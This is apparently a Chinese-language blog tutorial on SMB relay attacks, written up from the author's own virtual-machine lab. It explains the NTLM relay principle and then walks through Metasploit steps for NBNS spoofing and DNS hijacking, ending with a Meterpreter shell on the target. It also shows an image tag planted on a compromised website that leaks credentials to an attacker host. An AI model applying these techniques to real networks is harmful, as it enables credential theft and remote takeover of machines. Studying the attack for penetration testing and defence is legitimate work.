再談SMB中繼攻擊
PS:下面的都是自己實際測試過的,并非理論文章,如果有什么地方不對的請斧正,謝謝 >_<
首先,介紹一下SMB中繼攻擊的運作原理
假設左邊的主機為A,右邊的主機為B
A試圖訪問B的共享服務
第一步 A對B說:騷年,請讓我登陸
第二步 B對A說:騷年,我給你一個challenge,請先把你的密碼Hash和challenge加密一下返回給我,我得確認你是否有權限
第三步 A對B說:我加密好了,給你
情景一:
第四步 B對A說:嗯,對的,請進(認證結束)
情景二:
第四步 B對A說:騷年,不對,你的身份不能登陸,你可以試試以別人的身份來登陸
第五步 A對B說:好嘛,我用你之前告訴我的身份試試,回到第一步,循環下去
現在,如果加入了一名第三者C到兩者之間,C企圖查看B的隱私,C會怎么做?
上圖就是C的做法
第一步 A對C說:騷年,請讓我登陸
第二步 C對B說:騷年,請讓我登陸
第三步 B對C說:騷年,我給你一個challenge,請先把你的密碼Hash和challenge加密一下返回給我,我得確認你是否有權限
第四步 C對A說:騷年,我給你一個challenge(這是B發出的challenge),請先把你的密碼Hash和challenge加密一下返回給我,我得確認你是否有權限
第五步 A對C說:我加密好了,給你
第六步 C對B說:我加密好了,給你
情景一:
第七步 B對C說:嗯,對的,請進(認證結束,C替代A獲取了權限)
第八步 C對A說:騷年,不對,你的身份不能登陸(A的認證結束)
情景二:
第七步 B對C說:騷年,不對,你的身份不能登陸,你可以試試以別人的身份來登陸
第八步 C對B說:好嘛,我用你之前告訴我的身份試試
第九步 C對A說:騷年,不對,你的身份不能登陸,你可以試試以別人的身份來登陸
第十步 A對C說:好嘛,我用你之前告訴我的身份試試,回到第一步,循環下去
OK,你可以看出,A和B都被C欺騙了,這明顯是一場中間人攻擊
這里面還有一處不合理的地方,不知道你發現沒有,A想和B對話,怎么會和C吹起牛來了呢?
肯定是A誤以為C就是B,C是怎么做到的呢?
下面就來探究一下C的騙人手法,如果你是C你會怎么做呢?
1. NBNS欺騙,前提
a) A B C必須都處在同一個局域網下面
b) A尋找B是用的B的計算機名而不是B的ip
2. DNS劫持,前提
a) A尋找B是用的B的域名而不是B的ip
下面就讓我們來重演一下這次攻擊!
方式1:NBNS欺騙 + SMB中繼
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130 計算機名:smbserver
C kali 192.168.30.145
Kali msf下使用smb_replay模塊,設置SMBHOST為B(192.168.30.130)
Kali msf下使用nbns_response模塊將B的計算機名(smbserver)解析到C的IP(192.168.30.145)
Winxp 訪問smbserver的共享
OK,到Kali下看看結果
Cool,我們成功拿到了B的Meterpreter shell
原理:NBNS是廣播的,所以C只需要趕在B之前告訴A:“C的計算機名是smbserver”就行了
方式2:DNS劫持+SMB中繼
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130 域名:share.baidu.com
C kali 192.168.30.145
由于虛擬機有限,我將B模擬成一臺內網中被黑掉的DNS服務器
Kali msf下使用smb_replay模塊,設置SMBHOST為B(192.168.30.130)
將DNS服務器的 share.baidu.com 域名指向C(192.168.30.145)
Winxp 訪問share.baidu.com的共享
OK,到Kali下看看結果
成功拿到B的shell
如果你很注意細節,你應該會有一個問題,如果我們將NBNS欺騙和DNS劫持同時啟用,但指向不同的IP會有怎樣的效果?
我將告訴你:只有DNS劫持會起作用
看下圖就知道了
A先訪問一個不存在的名字,同時抓取數據包
你可以看出A(192.168.30.129)發出的第一個數據包是DNS查詢
上面的兩種攻擊都是在A先試圖想和B說話造成的,假如他們本來就不怎么聯系那我們豈不是要等很久?
這太被動了,我必須改變這種局面!!怎么改呢,下面就是我想說的了 >_<
UNC攻擊+SMB中繼
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130
C kali 192.168.30.145
由于虛擬機有限,我將B模擬成一臺被黑掉的WEB服務器(域名www.caoliu.oh)
管理員每天都喜歡在個人機上訪問草榴網,看看有什么新的資源
我知道他會這樣,所以我先拿下了草榴的WEB權限,然后在首頁插入了這樣的一個鏈接
<imgsrc=”192.168.30.145rio.jpg”/>
很不幸,這張圖他不會看到,如果他的個人機的賬戶及密碼是和服務器是一樣的,呵呵,他的服務器就這么淪陷了。但是有一個前提 A B C的共享都是互相可訪問的,如果個人機在防火墻外,那這就不可行了。
原理就是這樣,不插圖了,自己腦補一下就行了 >_<
SMB中繼升級版
上面都是A訪問B導致B被黑掉,而且UNC攻擊還需要在賬戶及密碼一樣的情況下才能成功,這太二了,既然可以SMB中繼,為何我們不把A的流量中繼到A本身,那樣賬戶和密碼一定是對的。如果A開啟了共享,且可被C訪問,那么一定會攻擊成功。好了,就到這里,具體的自己實驗吧!
相關文章:
http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python